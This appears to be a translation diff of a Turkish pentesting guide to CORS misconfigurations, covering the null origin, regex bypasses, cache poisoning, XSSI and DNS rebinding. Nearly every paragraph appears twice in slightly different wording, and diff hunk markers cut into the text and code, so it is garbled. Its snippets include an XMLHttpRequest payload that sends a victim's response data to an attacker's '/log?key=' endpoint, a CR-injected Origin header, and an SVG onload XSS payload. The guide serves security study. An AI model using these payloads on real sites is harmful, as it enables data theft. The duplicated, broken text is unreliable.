**Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, bu ön uçuş kontrolünü zorunlu kılar, istenen çapraz kökenli işlemin uygunluğunu belirlemek için izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrulayarak. Bir ön uçuş isteğine gerek olmadığını belirleyen koşullar hakkında detaylı bilgi için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun.
**Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, istenilen çapraz köken işleminin olanaklılığını belirlemek için bu ön uçu kontrolünü zorunlu kılar, izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrulayarak. Bir ön uçu isteğine gerek olmayan koşullar hakkında detaylı bilgi için [**Mozilla Geliştirici Ağı (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun.
**Ön uçuş isteğinin olmamasının, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz kökenli isteğin yanıtını işleme yeteneğinden yoksun kalır.
**Ön uçu isteğinin olmamasının yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz köken isteğinden gelen yanıtı işleme yeteneğinden yoksun kalır.
Aşağıdaki örneği göz önünde bulundurun, `PUT` yöntemini kullanmayı amaçlayan ve `Special-Request-Header` adında özel bir başlık içeren bir ön uçuş isteği:
`PUT` yöntemini kullanmayı amaçlayan ve `Special-Request-Header` adında özel bir başlık içeren bir ön uçu isteğinin aşağıdaki örneğini göz önünde bulundurun:
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -93,7 +93,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
Sunucu, aşağıda gösterildiği gibi kabul edilen yöntemleri, izin verilen kaynağı ve diğer CORS politikası ayrıntılarını belirten başlıklar döndürebilir:
Sunucu, aşağıdaki gibi kabul edilen yöntemleri, izin verilen kaynağı ve diğer CORS politikası ayrıntılarını belirten başlıklar döndürebilir:
```markdown
HTTP/1.1 204 No Content
...
@ -105,20 +105,20 @@ Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: Bu başlık, gerçek istek sırasında hangi başlıkların kullanılabileceğini belirtir. Sunucu tarafından, istemciden gelen isteklerde izin verilen başlıkları göstermek için ayarlanır.
* **`Access-Control-Expose-Headers`**: Bu başlık aracılığıyla sunucu, basit yanıt başlıklarının yanı sıra yanıtın bir parçası olarak hangi başlıkların açıklanabileceği konusunda istemciyi bilgilendirir.
* **`Access-Control-Max-Age`**: Bu başlık, bir ön uçuş isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini belirtir. Sunucu, ön uçuş isteği tarafından döndürülen bilgilerin ne kadar süreyle yeniden kullanılabileceğini saniye cinsinden belirler.
* **`Access-Control-Request-Headers`**: Ön uçuş isteklerinde kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP başlıklarının kullanılacağını sunucuya bildirmek için ayarlanır.
* **`Access-Control-Request-Method`**: Bu başlık da ön uçuş isteklerinde kullanılır ve istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
* **`Origin`**: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz köken isteğinin kökenini belirtir. Sunucu, CORS politikasına dayanarak gelen isteğin izin verilip verilmeyeceğini değerlendirmek için bunu kullanır.
* **`Access-Control-Max-Age`**: Bu başlık, bir önceden uçuş isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini belirtir. Sunucu, önceden uçuş isteği tarafından döndürülen bilgilerin ne kadar süreyle yeniden kullanılabileceğini saniye cinsinden belirler.
* **`Access-Control-Request-Headers`**: Önceden uçuş isteklerinde kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP başlıklarının kullanılacağını sunucuya bildirmek için ayarlanır.
* **`Access-Control-Request-Method`**: Bu başlık da önceden uçuş isteklerinde kullanılır ve istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
* **`Origin`**: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz köken isteğinin kökenini belirtir. Sunucu, CORS politikasına dayanarak gelen isteğin izin verilip verilmeyeceğini değerlendirmek için kullanır.
Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) **GET/POST isteğinde ön uçuş isteği gönderilmez** (isteğin **doğrudan** gönderilir), ancak yanıtın **başlıklarını/gövdesine erişmek istiyorsanız**, bunun izin veren bir _Access-Control-Allow-Origin_ başlığı içermesi gerekir.\
Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) **GET/POST isteğinde önceden uçuş isteği gönderilmez** (isteğin **doğrudan** gönderilir), ancak yanıtın **başlıklarını/gövdesine erişmek istiyorsanız**, buna izin veren bir _Access-Control-Allow-Origin_ başlığı içermelidir.\
**Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ancak faydalı olabilir).**
### **Yerel Ağ İstekleri Ön Uçuş İsteği**
### **Yerel Ağ İstekleri Önceden Uçuş İsteği**
1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğine dahil edilir ve sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya isteğin yerel ağdan geldiğini bildirmek için bir işaret olarak hizmet eder.
2. **`Access-Control-Allow-Local-Network`**: Yanıt olarak, sunucular istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletmek için bu başlığı kullanır. Farklı ağ sınırları arasında kaynakların paylaşılmasına yeşil ışık yakarak, kontrollü erişimi sağlarken güvenlik protokollerini korur.
1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğine dahil edilir ve sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya, isteğin yerel ağdan geldiğini bildirmek için bir işaret olarak hizmet eder.
2. **`Access-Control-Allow-Local-Network`**: Yanıt olarak, sunucular istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılabileceğini iletmek için bu başlığı kullanır. Farklı ağ sınırları arasında kaynakların paylaşılmasına yeşil ışık yakarak, kontrollü erişimi sağlarken güvenlik protokollerini korur.
**Yerel ağ isteğine izin veren geçerli bir yanıtın**, ayrıca yanıtta `Access-Controls-Allow-Local_network: true` başlığını içermesi gerekir:
**Yerel ağ isteğine izin veren geçerli bir yanıtın**, yanıtta ayrıca `Access-Controls-Allow-Local_network: true` başlığını içermesi gerekir:
```
HTTP/1.1 200 OK
...
@ -130,22 +130,22 @@ Content-Length: 0
...
```
{% hint style="warning" %}
Linux **0.0.0.0** IP'si, bu gereksinimleri atlamak için localhost'a erişmek için çalışır çünkü bu IP adresi "yerel" olarak kabul edilmez.
Linux **0.0.0.0** IP'sinin bu gereksinimleri atlamak için localhost'a erişmek için çalıştığını unutmayın çünkü bu IP adresi "yerel" olarak kabul edilmez.
Ayrıca, yerel ağ gereksinimlerini atlamak mümkündür eğer bir yerel uç noktanın **genel IP adresini** kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, hatta **genel IP'ye** erişiliyorsa, eğer **yerel ağdan** erişiliyorsa, erişim sağlanacaktır.
Ayrıca, **Yerel Ağ gereksinimlerini atlamak** mümkündür eğer **yerel bir uç noktanın genel IP adresini** kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, **genel IP'ye** erişilse bile, eğer **yerel ağdan** erişiliyorsa, erişim sağlanacaktır.
{% endhint %}
## Sömürülebilir yanlış yapılandırmalar
`Access-Control-Allow-Credentials`'ın **`true`** olarak ayarlanması, çoğu **gerçek saldırı** için bir önkoşuldur. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcıya istek göndermek yerine kendiniz yapmanın faydası azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir.
`Access-Control-Allow-Credentials`'ın **`true`** olarak ayarlanmasının çoğu **gerçek saldırılar** için bir ön koşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcıya istek göndermek yerine kendiniz yapmanın avantajı azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir.
### İstisna: Ağ Konumunu Kimlik Doğrulaması Olarak Kullanma
### İstismar Edilebilir Ağ Konumu Kimliği
Kurbanın ağ konumunun kimlik doğrulaması olarak kullanıldığı bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS rebinding ile benzer etkilere sahip olmasına rağmen daha basit bir şekilde sömürülebilir.
Kurbanın ağ konumunun kimlik doğrulaması olarak kullanıldığı bir istisna bulunmaktadır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS yeniden bağlama ile benzer etkilere sahip olmasına rağmen, daha kolay istismar edilebilir.
### `Access-Control-Allow-Origin` İçinde `Origin` Yansıtılması
### `Access-Control-Allow-Origin` içinde `Origin` Yansıması
`Origin` başlığının değerinin `Access-Control-Allow-Origin` içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden fazla URL için etkinleştirmek isteyen geliştiriciler, `Access-Control-Allow-Origin` başlığını dinamik olarak oluşturabilir ve bunu `Origin` başlığının değerini kopyalayarak yapabilir. Bu yaklaşım, özellikle bir saldırganın meşru görünmeye tasarlanmış bir alan adı kullandığı durumlarda, doğrulama mantığını aldatarak zayıflıklara neden olabilir.
`Origin` başlığının değerinin `Access-Control-Allow-Origin` içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden fazla URL için etkinleştirmek isteyen geliştiriciler, `Access-Control-Allow-Origin` başlığını `Origin` başlığının değerini kopyalayarak dinamik olarak oluşturabilir. Bu yaklaşım, özellikle bir saldırganın geçerlilik mantığını aldatarak meşru görünmesi için tasarlanmış bir alan adı kullandığında, zayıflıklara neden olabilir.
```html
<script>
var req = new XMLHttpRequest();
@ -160,7 +160,7 @@ location='/log?key='+this.responseText;
```
### `null` Origin'un Sömürülmesi
Yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilen `null` kökeni, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alır ve yanlışlıkla herhangi bir web sitesinin, CORS kısıtlamalarını atlayarak bir kum havuzunda iframe aracılığıyla `null` kökenini taklit etmesine izin verir.
Yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilen `null` kökeni, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alırken, yanlışlıkla herhangi bir web sitesinin, bir kum havuzu içindeki iframe aracılığıyla `null` kökenini taklit etmesine izin vererek CORS kısıtlamalarını atlamasına olanak tanır.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -192,15 +192,15 @@ Bir alan adı beyaz listesiyle karşılaşıldığında, saldırganın alan adı
### Gelişmiş Düzenli İfade Atlatmaları
Düzenli ifade desenleri genellikle alfasayısal, nokta (.), ve kısa çizgi (-) karakterlerine odaklanırken, diğer olasılıkları göz ardı edebilir. Örneğin, tarayıcılar ve düzenli ifade desenleri tarafından farklı yorumlanan karakterleri içeren bir alan adı, güvenlik kontrollerini atlatmak için kullanılabilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alış şekilleri, bu tür farklılıkların alan adı doğrulama mantığını atlatmak için nasıl sömürülebileceğini gösterir.
Regex desenleri genellikle alfasayısal, nokta (.), ve kısa çizgi (-) karakterlerine odaklanırken, diğer olasılıkları ihmal eder. Örneğin, tarayıcılar ve regex desenleri tarafından farklı yorumlanan karakterleri içeren bir alan adı, güvenlik kontrollerini atlatmak için kullanılabilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alış şekli, bu tür farklılıkların alan adı doğrulama mantığını atlatmak için nasıl sömürülebileceğini gösterir.
**Bu atlatma kontrolünün daha fazla bilgi ve ayarları için:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **ve** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
### Bir Alt Alan İçinde XSS'ten
### Bir Alt Alan İçinde XSS'den
Geliştiriciler genellikle, bilgi istemek için izin verilen alan adlarını beyaz listeye alarak CORS sömürüsüne karşı koruyucu mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listelenmiş alan adları içinde bile tek bir savunmasız alt alanın varlığı, XSS (Çapraz Site Komut Dosyası) gibi diğer güvenlik açıklarından dolayı CORS sömürüsüne kapı açabilir.
Geliştiriciler genellikle, bilgi istemek için izin verilen alan adlarını beyaz listeye alarak CORS sömürüsüne karşı koruyucu mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listelenen alan adları içinde bile tek bir savunmasız alt alanın bulunması, XSS (Çapraz Site Komut Dosyası) gibi diğer güvenlik açıklarından dolayı CORS sömürüsüne kapı açabilir.
Örneğin, `requester.com` adlı bir alan adının, başka bir alan adı olan `provider.com`'dan kaynaklara erişime izin verildiği bir senaryoyu düşünelim. Sunucu tarafı yapılandırması şöyle görünebilir:
```javascript
@ -210,15 +210,15 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
Bu kurulumda, `requester.com` alt alan adlarının hepsine erişim izni verilmiştir. Ancak, bir alt alan adı, örneğin `sub.requester.com`, bir XSS zafiyeti ile tehlikeye düşerse, bir saldırgan bu zayıflığı kullanabilir. Örneğin, `sub.requester.com`'a erişimi olan bir saldırgan, XSS zafiyetini kullanarak CORS politikalarını atlayabilir ve `provider.com` üzerindeki kaynaklara kötü niyetli olarak erişebilir.
Bu kurulumda, `requester.com` alt alan adlarının hepsine erişim izinlidir. Ancak, bir alt alan adı, örneğin `sub.requester.com`, bir XSS zafiyeti ile tehlikeye düşerse, bir saldırgan bu zayıflığı kullanabilir. Örneğin, `sub.requester.com`'a erişimi olan bir saldırgan, XSS zafiyetini kullanarak CORS politikalarını atlayabilir ve `provider.com` üzerindeki kaynaklara kötü niyetli bir şekilde erişebilir.
### **Sunucu tarafı önbellek zehirlenmesi**
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
HTTP başlığı enjeksiyonu aracılığıyla sunucu tarafı önbellek zehirlenmesini sömürerek, depolanan Cross-Site Scripting (XSS) zafiyeti uygulanabilir. Bu senaryo, bir uygulamanın `Origin` başlığını yasaklı karakterler için temizlemediğinde ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar, (0x0d) karakterini meşru bir HTTP başlık terminatorü olarak işler, bu da HTTP başlığı enjeksiyonu zafiyetlerine yol açar.
HTTP başlığı enjeksiyonu aracılığıyla sunucu tarafı önbellek zehirlenmesini sömürerek, depolanan Cross-Site Scripting (XSS) zafiyetinin tetiklenebileceği mümkündür. Bu senaryo, bir uygulamanın `Origin` başlığını yasaklı karakterler için temizlemediğinde ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar, (0x0d) karakterini yasal bir HTTP başlık terminatorü olarak işler ve HTTP başlığı enjeksiyonu zafiyetlerine yol açar.
Aşağıdaki isteği düşünün, burada `Origin` başlığı manipüle edilmiştir:
`Origin` başlığının manipüle edildiği aşağıdaki isteği düşünün:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
@ -229,9 +229,9 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Bu zafiyeti doğrudan sömürmek için bir web tarayıcısının hatalı bir başlık göndermesi mümkün olmasa da, Burp Suite gibi araçlar kullanılarak elle oluşturulmuş bir istek ile sunucu tarafında önbelleğe alınan yanıtın başkalarına hizmet edilmesine neden olabilir. Oluşturulan payload, sayfanın karakter setini UTF-7'ye değiştirmeyi amaçlar. UTF-7, belirli bağlamlarda betik olarak yürütülebilecek şekilde karakterleri kodlayabilme yeteneği nedeniyle XSS zafiyetleri ile sıkça ilişkilendirilen bir karakter kodlamasıdır.
Bu zafiyeti doğrudan sömürmek için bir web tarayıcısının hatalı bir başlık göndermesi mümkün olmasa da, Burp Suite gibi araçlar kullanılarak elle oluşturulmuş bir istek ile sunucu tarafında önbelleğe alınan yanıtın yanlışlıkla diğer kullanıcılara sunulmasına neden olabilir. Oluşturulan yük, sayfanın karakter setini UTF-7'ye değiştirmeyi amaçlar. UTF-7, belirli bağlamlarda betik olarak yürütülebilecek şekilde karakterleri kodlayabilme yeteneği nedeniyle XSS zafiyetleri ile sık ilişkilendirilen bir karakter kodlamasıdır.
Daha fazla bilgi için depolanan XSS zafiyetlerine bakın [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
Daha fazla bilgi için [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored) adresine bakın.
**Not**: Özellikle sunucu tarafı önbellek zehirlenmesi aracılığıyla HTTP başlık enjeksiyonu zafiyetlerinin sömürülmesi, HTTP başlıkları da dahil olmak üzere tüm kullanıcı tarafından sağlanan girdilerin doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür zafiyetleri önlemek için girdi doğrulamasını içeren sağlam bir güvenlik modeli kullanın.
@ -241,9 +241,11 @@ Daha fazla bilgi için depolanan XSS zafiyetlerine bakın [PortSwigger](https://
Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenir. Özellikle, web sayfası, `X-User-id` başlığında bulunan içeriği geri yansıtır; bu içerik kötü amaçlı JavaScript içerebilir. Başlık, yüklenirken JavaScript kodunu yürütmek için tasarlanmış bir SVG resim etiketi içerdiğinde gösterildiği gibi.
Çapraz Kaynak Paylaşımı (CORS) politikaları özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıtın tarayıcı tarafından doğrudan işlenmemesi durumunda, böyle bir enjeksiyonun faydası sınırlı gibi görünebilir. Kritik nokta, tarayıcının önbellek davranışını düşünürken ortaya çıkar. `Vary: Origin` başlığı belirtilmediğinde, kötü amaçlı yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonuç olarak, bu önbelleğe alınmış yanıt, URL'ye doğrudan gezinildiğinde doğrudan render edilebilir, başlangıçtaki istekte doğrudan render yapma ihtiyacını atlayarak. Bu mekanizma, istemci tarafı önbelleğini kullanarak saldırının güvenilirliğini artırır.
Çapraz Kaynak Paylaşımı (CORS) politikaları özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıtın tarayıcı tarafından doğrudan işlenmemesi durumunda, böyle bir enjeksiyonun faydası sınırlı gibi görünebilir. Kritik nokta, tarayıcının önbellek davranışını düşünürken ortaya çıkar. `Vary: Origin` başlığı belirtilmediğinde, kötü amaçlı yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonuç olarak, bu önbelleğe alınmış yanıt, URL'ye doğrudan gezinildiğinde doğrudan render edilebilir. Bu mekanizma, istemci tarafı önbelleğini kullanarak saldırının güvenilirliğini artırır.
Bu saldırıyı göstermek için, bir JavaScript örneği sağlanmıştır; bir JSFiddle gibi bir web sayfasının ortamında yürütülmek üzere tasarlanmıştır. Bu betik basit bir eylem gerçekleştirir: belirtilen URL'ye kötü amaçlı JavaScript içeren özel bir başlık içeren bir istek gönderir. Başarılı istek tamamlandığında, hedef URL'ye gitmeye çalışır ve yanıtın `Vary: Origin` başlığının doğru şekilde işlenmemesi durumunda enjekte edilen betiğin yürütülmesini tetikleyebilir.
Bu saldırıyı göstermek için, bir JavaScript örneği sağlanmıştır; bu, bir JSFiddle gibi bir web sayfası ortamında yürütülmek üzere tasarlanmıştır. Bu betik basit bir eylem gerçekleştirir: belirtilen URL'ye kötü amaçlı JavaScript içeren özel bir başlık içeren bir istek gönderir. Başarılı istek tamamlandığında, hedef URL'ye gitmeye çalışır ve yanıtın `Vary: Origin` başlığının doğru şekilde ele alınmaması durumunda enjekte edilen betiğin yürütülmesini tetikleyebilir.
Bu saldırıyı gerçekleştirmek için kullanılan JavaScript'in özetlenmiş bir açıklaması aşağıda verilmiştir:
```html
<script>
function gotcha() { location=url }
@ -255,23 +257,23 @@ req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Atlat
## Atlatma
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, ayrıca Cross-Site Script Inclusion olarak da bilinen, aynı köken politikasının (SOP) script etiketi kullanılarak kaynaklar dahil edildiğinde geçerli olmadığından faydalanabilen bir zafiyet türüdür. Bu, scriptlerin farklı alanlardan dahil edilebilmesi gerektiği için geçerlidir. Bu zafiyet, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve okumasına olanak tanır.
XSSI, aynı zamanda Cross-Site Script Inclusion olarak bilinen, script etiketi kullanılarak kaynaklar dahil edilirken Aynı Köken Politikası'nın (SOP) uygulanmadığı bir zayıflık türüdür. Bu, scriptlerin farklı alanlardan dahil edilebilmesi gerektiği gerçeğinden faydalanır. Bu zayıflık, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve okumasına izin verir.
Bu zafiyet, özellikle dinamik JavaScript veya JSONP (JSON with Padding) söz konusu olduğunda önemli hale gelir, özellikle çerezler gibi çevresel yetki bilgileri kimlik doğrulaması için kullanıldığında. Farklı bir ana bilgisayardan bir kaynak istendiğinde çerezler dahil edilir ve saldırganın erişimine açık hale gelir.
Bu zayıflık, özellikle dinamik JavaScript veya JSONP (JSON ile Dolgulu) söz konusu olduğunda önemli hale gelir, özellikle çerezler gibi ortam yetkilendirme bilgileri kimlik doğrulaması için kullanıldığında. Farklı bir ana bilgisayardan bir kaynak istendiğinde çerezler dahil edilir ve saldırganın erişimine açık hale gelir.
Bu zafiyeti daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potansiyel XSSI zafiyetlerini tanımlamak ve ele almak için kullanılabilen BurpSuite eklentisini kullanabilirsiniz. [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) adresinde bulunan bu eklenti, XSSI zafiyetlerini belirlemeye ve ele almaya yardımcı olabilir.
Bu zayıflığı daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potansiyel XSSI zayıflıklarını tanımlamanıza ve ele almanıza yardımcı olabilecek BurpSuite eklentisini kullanabilirsiniz. [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) adresinde bulunan bu eklenti, web uygulamalarınızdaki XSSI zayıflıklarını belirlemeye ve ele almaya yardımcı olabilir.
[**Farklı XSSI türleri ve bunları nasıl sömürüleceği hakkında daha fazla bilgi için buraya tıklayın.**](xssi-cross-site-script-inclusion.md)
[**Farklı XSSI türleri ve bunları nasıl sömürüleceği hakkında daha fazla bilgi için buraya bakın.**](xssi-cross-site-script-inclusion.md)
İsteğe bir **`callback`** **parametresi** eklemeyi deneyin. Belki sayfa verileri JSONP olarak göndermek üzere hazırlandı. Bu durumda sayfa, CORS politikasını atlayacak olan `Content-Type: application/javascript` ile verileri geri gönderecektir.
İsteğe bir **`callback`** **parametresi** eklemeyi deneyin. Belki sayfa veriyi JSONP olarak göndermek üzere hazırlanmıştır. Bu durumda sayfa, CORS politikasını atlayacak olan `Content-Type: application/javascript` ile veriyi geri gönderecektir.
![](<../.gitbook/assets/image (853).png>)
### Kolay (işe yaramaz mı?) atlatma
### Kolay (anlamsız?) atlatma
`Access-Control-Allow-Origin` kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istekte bulunmasını ve yanıtı geri göndermesini istemektir. Ancak, bu senaryoda, son kurbanın kimlik bilgileri farklı bir alan adına yapılan istek nedeniyle gönderilmez.
@ -280,7 +282,7 @@ Bu zafiyeti daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potan
### Iframe + Popup Atlatma
`e.origin === window.origin` gibi CORS denetimlerini atlatmak için bir **iframe oluşturarak** ve ondan yeni bir pencere açarak** kullanabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:
`e.origin === window.origin` gibi CORS kontrollerini atlatmak için bir **iframe oluşturarak** ve **ondan yeni bir pencere açarak** atlatma yapabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -291,18 +293,18 @@ Bu zafiyeti daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potan
TTL aracılığıyla DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. Nasıl çalıştığını aşağıda bulabilirsiniz:
1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
2. Saldırgan daha sonra kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirir.
3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır ve bu yanıtın ne kadar süreyle geçerli olacağını belirten bir TTL (Time to Live) değeri olabilir.
2. Saldırgan daha sonra kendi alan adının DNS (IP) adresini kurbanın web sayfasına işaret edecek şekilde değiştirir.
3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır ve bu yanıtın ne kadar süre boyunca geçerli olacağını belirten bir TTL (Yaşam Süresi) değeri olabilir.
4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar, bu da saldırganın kurbanın sayfasında JavaScript kodunu yürütmesine olanak tanır.
5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurbandan herhangi bir çerezi kurban sunucusuna göndermeden bilgi toplayabilir.
5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurbandan herhangi bir çerezi kurban sunucusuna göndermeden kurbandan bilgi toplayabilir.
Bu tekniğin hemen kötüye kullanılmasını önleyebilecek tarayıcılarda önbellekleme mekanizmaları bulunmaktadır, hatta düşük TTL değerleriyle bile.
Bu tekniğin hemen kötüye kullanılmasını önleyebilecek tarayıcılarda önbellekleme mekanizmaları olduğunu unutmamak önemlidir, hatta düşük TTL değerleriyle bile.
DNS rebinding, kurban tarafından gerçekleştirilen açık IP kontrollerini atlatmak veya bir kullanıcının veya botun aynı sayfada uzun süre kalmasına izin veren senaryolarda kullanışlı olabilir, bu da önbelleğin süresinin dolmasına izin verir.
Hızlı bir şekilde DNS rebinding'i kötüye kullanmanız gerekiyorsa, [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gibi hizmetleri kullanabilirsiniz.
DNS rebinding'i hızlı bir şekilde kötüye kullanmanız gerekiyorsa, [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gibi hizmetleri kullanabilirsiniz.
Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel port 53/udp'nizi açığa çıkararak, buna işaret eden bir A kaydı oluşturarak (örneğin, ns.example.com), ve daha önce oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturarak (örneğin, ns.example.com) yapılır. ns.example.com alt alanının herhangi bir alt alanı daha sonra ana bilgisayarınız tarafından çözümlenir.
Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel port 53/udp'nizi açmayı, buna işaret eden bir A kaydı oluşturmayı (örneğin, ns.example.com), ve önceden oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturmayı içerir (örneğin, ns.example.com). ns.example.com alt alanının herhangi bir alt alanı daha sonra ana bilgisayarınız tarafından çözümlenecektir.
Daha fazla anlayış ve deneyim için [http://rebind.it/singularity.html](http://rebind.it/singularity.html) adresinde halka açık çalışan bir sunucuyu keşfedebilirsiniz.
@ -311,54 +313,54 @@ Daha fazla anlayış ve deneyim için [http://rebind.it/singularity.html](http:/
DNS rebinding aracılığıyla DNS önbelleği saldırısı, tarayıcıların önbellekleme mekanizmasını atlatmak ve ikinci bir DNS isteği yapmaya zorlamak için kullanılan başka bir tekniktir. Nasıl çalıştığını aşağıda bulabilirsiniz:
1. İlk olarak, kurban bir DNS isteği yapar yapmaz, saldırganın IP adresiyle yanıtlanır.
